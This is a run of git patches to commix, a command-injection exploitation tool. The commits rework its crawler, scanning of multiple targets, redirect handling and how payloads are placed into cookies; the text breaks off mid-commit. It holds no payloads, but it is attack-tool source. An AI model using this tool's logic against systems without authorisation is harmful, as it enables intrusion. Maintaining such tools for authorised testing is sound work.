SystemExit() else: - print(settings.SINGLE_WHITESPACE) - with open(menu.options.bulkfile) as f: - bulkfile = [url.strip() for url in f] settings.MULTI_TARGETS = True - # Removing duplicates from list. - clean_bulkfile = [] - [clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile] - # Removing empty elements from list. - clean_bulkfile = [x for x in clean_bulkfile if x] - url_num = 0 - print(settings.print_info_msg("Found a total of " + str(len(clean_bulkfile)) + " targets.")) - for url in clean_bulkfile: + + if settings.MULTI_TARGETS: + print(settings.SINGLE_WHITESPACE) + with open(menu.options.bulkfile) as f: + bulkfile = [url.strip() for url in f] + # Removing duplicates from list. + clean_bulkfile = [] + [clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile] + # Removing empty elements from list. + clean_bulkfile = [x for x in clean_bulkfile if x] + url_num = 0 + info_msg = "Found a total of " + str(len(clean_bulkfile)) + " target"+ "s"[len(clean_bulkfile) == 1:] + "." + print(settings.print_info_msg(info_msg)) + for url in clean_bulkfile: + url_num += 1 + print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_bulkfile)) + "] URL - " + url) + "") + if not menu.options.batch: + question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "Y" + if message in settings.CHOICE_YES: + settings.INIT_TEST = True + if url == clean_bulkfile[-1]: + settings.EOF = True + # Reset the injection level + if menu.options.level > 3: + menu.options.level = 1 + init_injection(url) + try: + response, url = url_response(url) + if response != False: + filename = logs.logs_filename_creation(url) + main(filename, url) + except: + pass + elif message in settings.CHOICE_NO: + pass + elif message in settings.CHOICE_QUIT: + raise SystemExit() + + # Check if option "--crawl" is enabled. + if settings.CRAWLING: + filename = crawler.store_crawling() + if settings.MULTI_TARGETS: + output_href = [] + for url in bulkfile: + output_href.append(url) + else: + output_href = crawler.crawler(menu.options.url) + # Removing duplicates from list. + clean_output_href = [] + [clean_output_href.append(x) for x in output_href if x not in clean_output_href] + # Removing empty elements from list. + clean_output_href = [x for x in clean_output_href if x] + if len(clean_output_href) != 0: + settings.MULTI_TARGETS = True + info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." + print(settings.print_info_msg(info_msg)) + url_num = 0 + for url in clean_output_href: + if re.search(r"(.*?)\?(.+)", url): url_num += 1 - print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_bulkfile)) + "] URL - " + url) + "") + print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") + if filename is not None: + with open(filename, "a") as crawling_results: + crawling_results.write(url + "\n") if not menu.options.batch: question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) @@ -847,7 +856,7 @@ def main(filename, url): message = "Y" if message in settings.CHOICE_YES: settings.INIT_TEST = True - if url == clean_bulkfile[-1]: + if url == clean_output_href[-1]: settings.EOF = True # Reset the injection level if menu.options.level > 3: @@ -879,16 +888,7 @@ def main(filename, url): main(filename, url) except KeyboardInterrupt: - abort_msg = "User aborted procedure " - abort_msg += "during the " + checks.assessment_phase() - abort_msg += " phase (Ctrl-C was pressed)." - new_line = "\n" - print(new_line + settings.print_abort_msg(abort_msg)) - try: - logs.print_logs_notification(filename, url) - print(settings.SINGLE_WHITESPACE) - except NameError: - raise SystemExit() + checks.user_aborted(filename, url) except SystemExit: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index cdfac48053..8a00bcec0d 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -407,6 +407,8 @@ def prefixes(payload, prefix): """ def suffixes(payload, suffix): # Check if defined "--suffix" option. + if settings.COOKIE_INJECTION and suffix == settings.COOKIE_DELIMITER: + suffix = "" if menu.options.suffix: payload = payload + suffix + menu.options.suffix else: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index e1aff96b06..24399f0288 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -366,7 +366,11 @@ def inject_cookie(url, vuln_parameter, payload, proxy): #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload.replace("+", "%2B"))) + payload = payload.replace("+", "%2B") + if settings.INJECT_TAG in menu.options.cookie: + request.add_header('Cookie', menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) + else: + request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload)) try: headers.check_http_traffic(request) response = opener.open(request) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 211c83acd9..1789f0b73b 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -135,7 +135,8 @@ def request(url): settings.HREF_SKIPPED.append(url) settings.CRAWLED_SKIPPED_URLS += 1 # if settings.CRAWLING_DEPTH == 1: - print(settings.SINGLE_WHITESPACE) + if settings.TOTAL_OF_REQUESTS != 1: + print(settings.SINGLE_WHITESPACE) checks.connection_exceptions(err_msg, url) if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) @@ -194,6 +195,7 @@ def do_process(url): def crawler(url): info_msg = "Starting crawler for target URL '" + url + "'" print(settings.print_info_msg(info_msg)) + response = request(url) if menu.options.sitemap_url: message = "" if not menu.options.crawldepth: diff --git a/src/utils/settings.py b/src/utils/settings.py index 6eee285fef..fdaf822750 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "54" +REVISION = "55" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 9483ec147fa9f6ce76c4d9fb0b833e38a99bd6bb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 8 May 2022 08:06:50 +0300 Subject: [PATCH 0132/1023] Fixes https://github.com/commixproject/commix/issues/767 and added support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 15 +- src/core/main.py | 136 +++++++---------- src/core/requests/redirection.py | 5 +- src/utils/crawler.py | 187 +++++++++++++---------- src/utils/settings.py | 8 +- 6 files changed, 180 insertions(+), 172 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c8de73023b..e4f15ae11f 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for normalizing crawling results. * Revised: Improvement regarding crawler. * Revised: Minor bug-fix regarding `--file-upload` option. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index a76a4c49d5..38a4d95542 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -78,9 +78,11 @@ def connection_exceptions(err_msg, url): error_msg = str(err_msg) if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING: print(settings.SINGLE_WHITESPACE) - if "ssl" in str(error_msg): + if "wrong version number" in str(error_msg).lower(): settings.MAX_RETRIES = 1 error_msg = "can't establish SSL connection" + elif "connection refused" in str(error_msg).lower(): + settings.MAX_RETRIES = 1 else: if settings.TOTAL_OF_REQUESTS == 1: if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(error_msg): @@ -95,7 +97,8 @@ def connection_exceptions(err_msg, url): warn_msg += "'--random-agent' switch and/or " warn_msg += "'--proxy' option." print(settings.print_warning_msg(warn_msg)) - raise SystemExit() + if not settings.MULTI_TARGETS: + raise SystemExit() elif "infinite loop" in str(error_msg): error_msg = "Infinite redirect loop detected. " error_msg += "Please check all provided parameters and/or provide missing ones" @@ -114,12 +117,12 @@ def connection_exceptions(err_msg, url): info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." print(settings.print_info_msg(info_msg)) error_msg = "Unable to connect to the target URL (Reason: " + str(error_msg.replace("Http", "Http".upper())) + ")." - if not url: + if not isinstance(url, str): _ = "" else: - _ = " '" + url + "'" - if settings.MULTI_TARGETS or settings.CRAWLED_SKIPPED_URLS != 0: - error_msg = error_msg + " Skipping URL"+ _ +"." + _ = " Skipping URL '" + str(url) + "'." + if settings.MULTI_TARGETS: + error_msg = error_msg + _ print(settings.print_critical_msg(error_msg)) settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: diff --git a/src/core/main.py b/src/core/main.py index a0b5f4b21e..d89e38536a 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -758,6 +758,19 @@ def main(filename, url): if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() + if not menu.options.bulkfile and not settings.CRAWLING: + if os_checks_num == 0: + settings.INIT_TEST = True + # Check if option is "--url" for single url test. + if menu.options.sitemap_url: + url = menu.options.sitemap_url + else: + url = menu.options.url + response, url = url_response(url) + if response != False: + filename = logs.logs_filename_creation(url) + main(filename, url) + # Check if option is "-m" for multiple urls test. if menu.options.bulkfile: bulkfile = menu.options.bulkfile @@ -778,22 +791,46 @@ def main(filename, url): raise SystemExit() else: settings.MULTI_TARGETS = True + print(settings.SINGLE_WHITESPACE) + with open(menu.options.bulkfile) as f: + bulkfile = [url.strip() for url in f] - if settings.MULTI_TARGETS: - print(settings.SINGLE_WHITESPACE) - with open(menu.options.bulkfile) as f: - bulkfile = [url.strip() for url in f] - # Removing duplicates from list. - clean_bulkfile = [] - [clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile] - # Removing empty elements from list. - clean_bulkfile = [x for x in clean_bulkfile if x] - url_num = 0 - info_msg = "Found a total of " + str(len(clean_bulkfile)) + " target"+ "s"[len(clean_bulkfile) == 1:] + "." + # Check if option "--crawl" is enabled. + if settings.CRAWLING: + url_num = 1 + if not menu.options.bulkfile: + crawling_list = 1 + output_href = crawler.crawler(menu.options.url, url_num, crawling_list) + else: + output_href = [] + crawling_list = len(bulkfile) + for url in bulkfile: + output_href = (crawler.crawler(url, url_num, crawling_list)) + url_num += 1 + output_href = output_href + bulkfile + output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] + output_href = crawler.normalize_results(output_href) + filename = crawler.store_crawling() + else: + output_href = [] + output_href = output_href + bulkfile + filename = None + # Removing duplicates from list. + clean_output_href = [] + [clean_output_href.append(x) for x in output_href if x not in clean_output_href] + # Removing empty elements from list. + clean_output_href = [x for x in clean_output_href if x] + if len(clean_output_href) != 0: + info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) - for url in clean_bulkfile: + url_num = 0 + for url in clean_output_href: + if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: url_num += 1 - print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_bulkfile)) + "] URL - " + url) + "") + print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") + if filename is not None: + with open(filename, "a") as crawling_results: + crawling_results.write(url + "\n") if not menu.options.batch: question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) @@ -803,7 +840,7 @@ def main(filename, url): message = "Y" if message in settings.CHOICE_YES: settings.INIT_TEST = True - if url == clean_bulkfile[-1]: + if url == clean_output_href[-1]: settings.EOF = True # Reset the injection level if menu.options.level > 3: @@ -821,74 +858,11 @@ def main(filename, url): elif message in settings.CHOICE_QUIT: raise SystemExit() - # Check if option "--crawl" is enabled. - if settings.CRAWLING: - filename = crawler.store_crawling() - if settings.MULTI_TARGETS: - output_href = [] - for url in bulkfile: - output_href.append(url) - else: - output_href = crawler.crawler(menu.options.url) - # Removing duplicates from list. - clean_output_href = [] - [clean_output_href.append(x) for x in output_href if x not in clean_output_href] - # Removing empty elements from list. - clean_output_href = [x for x in clean_output_href if x] - if len(clean_output_href) != 0: - settings.MULTI_TARGETS = True - info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." - print(settings.print_info_msg(info_msg)) - url_num = 0 - for url in clean_output_href: - if re.search(r"(.*?)\?(.+)", url): - url_num += 1 - print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") - if filename is not None: - with open(filename, "a") as crawling_results: - crawling_results.write(url + "\n") - if not menu.options.batch: - question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" - if message in settings.CHOICE_YES: - settings.INIT_TEST = True - if url == clean_output_href[-1]: - settings.EOF = True - # Reset the injection level - if menu.options.level > 3: - menu.options.level = 1 - init_injection(url) - try: - response, url = url_response(url) - if response != False: - filename = logs.logs_filename_creation(url) - main(filename, url) - except: - pass - elif message in settings.CHOICE_NO: - pass - elif message in settings.CHOICE_QUIT: - raise SystemExit() - - else: - if os_checks_num == 0: - settings.INIT_TEST = True - # Check if option is "--url" for single url test. - if menu.options.sitemap_url: - url = menu.options.sitemap_url - else: - url = menu.options.url - response, url = url_response(url) - if response != False: - filename = logs.logs_filename_creation(url) - main(filename, url) - except KeyboardInterrupt: - checks.user_aborted(filename, url) + try: + checks.user_aborted(filename, url) + except NameError: + raise SystemExit() except SystemExit: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index a1c4035cc6..562b722a2a 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -65,8 +65,8 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): return response.geturl() else: while True: - if not menu.options.batch: - if settings.CRAWLING: + if not menu.options.batch and not settings.FOLLOW_REDIRECT: + if settings.CRAWLING and settings.CRAWLED_URLS == 0: print(settings.SINGLE_WHITESPACE) question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" question_msg += "Do you want to follow the identified redirection? [Y/n] > " @@ -74,6 +74,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): else: redirection_option = "" if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES: + settings.FOLLOW_REDIRECT = True if menu.options.batch and not settings.CRAWLING: info_msg = "Following redirection to '" + response.geturl() + "'. " print(settings.print_info_msg(info_msg)) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 1789f0b73b..a7120bc392 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -34,6 +34,77 @@ crawled_hrefs = [] new_crawled_hrefs = [] +""" +Change the crawling depth level. +""" +def set_crawling_depth(): + while True: + if not menu.options.batch: + question_msg = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "N" + if message in settings.CHOICE_YES or message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + message + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + # Change the crawling depth level. + if message in settings.CHOICE_YES: + while True: + question_msg = "Please enter the crawling depth level: > " + message = _input(settings.print_question_msg(question_msg)) + if len(message) == 0: + message = 1 + break + else: + menu.options.crawldepth = message + break + + +""" +Normalize crawling results. +""" +def normalize_results(output_href): + results = [] + while True: + if not menu.options.batch: + question_msg = "Do you want to normalize crawling results? [Y/n] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "Y" + if message in settings.CHOICE_YES: + seen = set() + for target in output_href: + value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "") + match = re.search(r"/[^/?]*\?.+\Z", value) + if match: + key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") + if '=' in key and key not in seen: + results.append(target) + seen.add(key) + if len(results) != 0: + return results + elif message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + message + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + + +""" +Store crawling results to a temporary file. +""" def store_crawling(): while True: if not menu.options.batch: @@ -59,6 +130,7 @@ def store_crawling(): sys.stdout.flush() pass + """ Check for URLs in sitemap.xml. """ @@ -102,16 +174,19 @@ def sitemap(url): raise SystemExit() pass + """ Store the identified (valid) hrefs. """ def store_hrefs(href, identified_hrefs, redirection): if href not in crawled_hrefs: - if (settings.CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection: + if (settings.DEFAULT_CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection: new_crawled_hrefs.append(href) identified_hrefs = True crawled_hrefs.append(href) return identified_hrefs + + """ Do a request to target URL. """ @@ -134,13 +209,14 @@ def request(url): if url not in settings.HREF_SKIPPED: settings.HREF_SKIPPED.append(url) settings.CRAWLED_SKIPPED_URLS += 1 - # if settings.CRAWLING_DEPTH == 1: - if settings.TOTAL_OF_REQUESTS != 1: + # if settings.DEFAULT_CRAWLING_DEPTH == 1: + if settings.TOTAL_OF_REQUESTS != 1 and not settings.MULTI_TARGETS: print(settings.SINGLE_WHITESPACE) checks.connection_exceptions(err_msg, url) if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) + """ The crawing process. """ @@ -151,7 +227,6 @@ def do_process(url): else: if settings.CRAWLED_SKIPPED_URLS == 0: sys.stdout.write("\r") - # Grab the crawled hrefs. try: response = request(url) @@ -178,7 +253,7 @@ def do_process(url): if len(crawled_hrefs) != 0: if identified_hrefs: - if len(new_crawled_hrefs) != 0 and settings.CRAWLING_DEPTH != 1: + if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1: return list(set(new_crawled_hrefs)) return list(set(crawled_hrefs)) return list("") @@ -189,11 +264,16 @@ def do_process(url): except Exception as e: # for non-HTML files and non-valid links pass + """ The main crawler. """ -def crawler(url): - info_msg = "Starting crawler for target URL '" + url + "'" +def crawler(url, url_num, crawling_list): + if crawling_list > 1: + _ = " (" + str(url_num) + "/" + str(crawling_list) + ")" + else: + _ = "" + info_msg = "Starting crawler for target URL '" + url + "'" + _ print(settings.print_info_msg(info_msg)) response = request(url) if menu.options.sitemap_url: @@ -218,41 +298,13 @@ def crawler(url): err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass - - if menu.options.crawldepth: - while True: - if not menu.options.batch: - question_msg = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "N" - if message in settings.CHOICE_YES or message in settings.CHOICE_NO: - break - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - # Change the crawling depth level. - if message in settings.CHOICE_YES: - while True: - question_msg = "Please enter the crawling depth level: > " - message = _input(settings.print_question_msg(question_msg)) - if len(message) == 0: - message = 1 - break - else: - menu.options.crawldepth = message - break + else: + set_crawling_depth() while True: - sitemap_check = None - if not menu.options.sitemap_url: + if not menu.options.sitemap_url and settings.SITEMAP_CHECK is None: if not menu.options.batch: - question_msg = "Do you want to check target for " + question_msg = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " question_msg += "the existence of site's sitemap(.xml)? [y/N] > " message = _input(settings.print_question_msg(question_msg)) else: @@ -260,10 +312,10 @@ def crawler(url): if len(message) == 0: message = "n" if message in settings.CHOICE_YES: - sitemap_check = True + settings.SITEMAP_CHECK = True break elif message in settings.CHOICE_NO: - sitemap_check = False + settings.SITEMAP_CHECK = False break elif message in settings.CHOICE_QUIT: raise SystemExit() @@ -273,26 +325,30 @@ def crawler(url): pass else: message = "n" - sitemap_check = True + settings.SITEMAP_CHECK = True break - if sitemap_check: + + if settings.SITEMAP_CHECK: output_href = sitemap(url) if output_href is None : - sitemap_check = False + settings.SITEMAP_CHECK = False - if not sitemap_check: + if not settings.SITEMAP_CHECK: output_href = do_process(url) - while settings.CRAWLING_DEPTH <= int(menu.options.crawldepth): + if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: + settings.DEFAULT_CRAWLING_DEPTH = 1 + while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth): info_msg = "Searching for usable " - info_msg += "links with depth " + str(settings.CRAWLING_DEPTH) + "." + info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." print(settings.print_info_msg(info_msg)) - if settings.CRAWLING_DEPTH != 1: + if settings.DEFAULT_CRAWLING_DEPTH != 1: output_href = new_crawled_hrefs link = 0 if output_href is not None: for url in output_href: - link += 1 if url not in visited_hrefs: + link += 1 + settings.CRAWLED_URLS = link visited_hrefs.append(url) do_process(url) info_msg = str(link) @@ -303,40 +359,9 @@ def crawler(url): print(settings.SINGLE_WHITESPACE) if link != 0: print(settings.SINGLE_WHITESPACE) - settings.CRAWLING_DEPTH += 1 + settings.DEFAULT_CRAWLING_DEPTH += 1 output_href = crawled_hrefs - results = [] - while True: - if not menu.options.batch: - question_msg = "Do you want to normalize crawling results? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" - if message in settings.CHOICE_YES: - seen = set() - for target in output_href: - value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "") - match = re.search(r"/[^/?]*\?.+\Z", value) - if match: - key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") - if '=' in key and key not in seen: - results.append(target) - seen.add(key) - if len(results) != 0: - output_href = results - break - elif message in settings.CHOICE_NO: - break - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - return output_href # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index fdaf822750..42e9328a33 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "55" +REVISION = "56" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1133,11 +1133,15 @@ def sys_argv_errors(): # Crawling state CRAWLING = False CRAWLED_SKIPPED_URLS = 0 +CRAWLED_URLS = 0 # Skipped crawled hrefs HREF_SKIPPED = [] # Default crawling depth -CRAWLING_DEPTH = 1 +DEFAULT_CRAWLING_DEPTH = 1 +SITEMAP_CHECK = None + +FOLLOW_REDIRECT = False # eof \ No newline at end of file From 957856238e58d4806709ad839f9aefd1b9ef6de4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 9 May 2022 09:00:33 +0300 Subject: [PATCH 0133/1023] Fixes https://github.com/commixproject/commix/issues/768 and trivial updates --- src/core/injections/controller/controller.py | 3 --- src/core/main.py | 8 ++++++-- src/utils/crawler.py | 20 +++++++------------- src/utils/settings.py | 2 +- 4 files changed, 14 insertions(+), 19 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 198a678427..8f4fa148ce 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -372,7 +372,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0: warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded." print(settings.print_warning_msg(warn_msg)) - checks.tamper_scripts(stored_tamper_scripts=False) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the target URL." @@ -579,7 +578,6 @@ def cookie_injection(url, http_request_method, filename, timesec): if check_parameter != parameter: if len(check_parameter) > 0: settings.TESTABLE_PARAMETER = check_parameter - # Check if testable parameter(s) are provided if len(settings.TEST_PARAMETER) > 0: if menu.options.test_parameter != None: @@ -627,7 +625,6 @@ def get_request(url, http_request_method, filename, timesec): if check_parameter != url: if len(check_parameter) > 0: settings.TESTABLE_PARAMETER = check_parameter - # Check if testable parameter(s) are provided if len(settings.TESTABLE_PARAMETER) > 0: if menu.options.test_parameter != None: diff --git a/src/core/main.py b/src/core/main.py index d89e38536a..2c43f320c0 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -669,7 +669,10 @@ def main(filename, url): else: settings.LOCAL_HTTP_IP = None - if menu.options.crawldepth > 0 or menu.options.sitemap_url: + if menu.options.sitemap_url: + settings.SITEMAP_CHECK = True + + if menu.options.crawldepth > 0 or settings.SITEMAP_CHECK: settings.CRAWLING = True # Check arguments @@ -797,12 +800,13 @@ def main(filename, url): # Check if option "--crawl" is enabled. if settings.CRAWLING: + output_href = [] url_num = 1 if not menu.options.bulkfile: crawling_list = 1 output_href = crawler.crawler(menu.options.url, url_num, crawling_list) + output_href.append(menu.options.url) else: - output_href = [] crawling_list = len(bulkfile) for url in bulkfile: output_href = (crawler.crawler(url, url_num, crawling_list)) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index a7120bc392..9c8a46aa88 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -93,7 +93,7 @@ def normalize_results(output_href): if len(results) != 0: return results elif message in settings.CHOICE_NO: - break + return output_href elif message in settings.CHOICE_QUIT: raise SystemExit() else: @@ -276,9 +276,10 @@ def crawler(url, url_num, crawling_list): info_msg = "Starting crawler for target URL '" + url + "'" + _ print(settings.print_info_msg(info_msg)) response = request(url) - if menu.options.sitemap_url: + + if settings.SITEMAP_CHECK: message = "" - if not menu.options.crawldepth: + if not settings.CRAWLING: while True: if not menu.options.batch: question_msg = "Do you want to enable crawler? [y/N] > " @@ -298,11 +299,10 @@ def crawler(url, url_num, crawling_list): err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass - else: set_crawling_depth() - while True: - if not menu.options.sitemap_url and settings.SITEMAP_CHECK is None: + if settings.SITEMAP_CHECK is None: + while True: if not menu.options.batch: question_msg = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " question_msg += "the existence of site's sitemap(.xml)? [y/N] > " @@ -323,17 +323,11 @@ def crawler(url, url_num, crawling_list): err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass - else: - message = "n" - settings.SITEMAP_CHECK = True - break if settings.SITEMAP_CHECK: output_href = sitemap(url) - if output_href is None : - settings.SITEMAP_CHECK = False - if not settings.SITEMAP_CHECK: + if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None): output_href = do_process(url) if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: settings.DEFAULT_CRAWLING_DEPTH = 1 diff --git a/src/utils/settings.py b/src/utils/settings.py index 42e9328a33..f7624a655c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "56" +REVISION = "57" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 68e1410d87a666196baab6dfb996741fd7272f16 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 10 May 2022 07:38:12 +0300 Subject: [PATCH 0134/1023] Trivial updates --- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 15 +++--- .../techniques/file_based/fb_handler.py | 47 ++++++++++++------- src/core/main.py | 8 ++-- src/core/requests/redirection.py | 2 +- src/utils/crawler.py | 9 ++-- src/utils/settings.py | 2 +- 7 files changed, 51 insertions(+), 34 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 38a4d95542..0919627d4c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -80,7 +80,7 @@ def connection_exceptions(err_msg, url): print(settings.SINGLE_WHITESPACE) if "wrong version number" in str(error_msg).lower(): settings.MAX_RETRIES = 1 - error_msg = "can't establish SSL connection" + error_msg = "Can't establish SSL connection" elif "connection refused" in str(error_msg).lower(): settings.MAX_RETRIES = 1 else: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8f4fa148ce..1c0894548e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -377,6 +377,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time debug_msg = "Performing heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: # Check for identified warnings url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) @@ -401,13 +402,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time print(settings.print_error_msg(err_msg)) pass - if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) tests shows that" + header_name - if not header_name == " cookie" and not the_type == " HTTP header": - warn_msg += " " + str(http_request_method) + "" - warn_msg +=('', ' 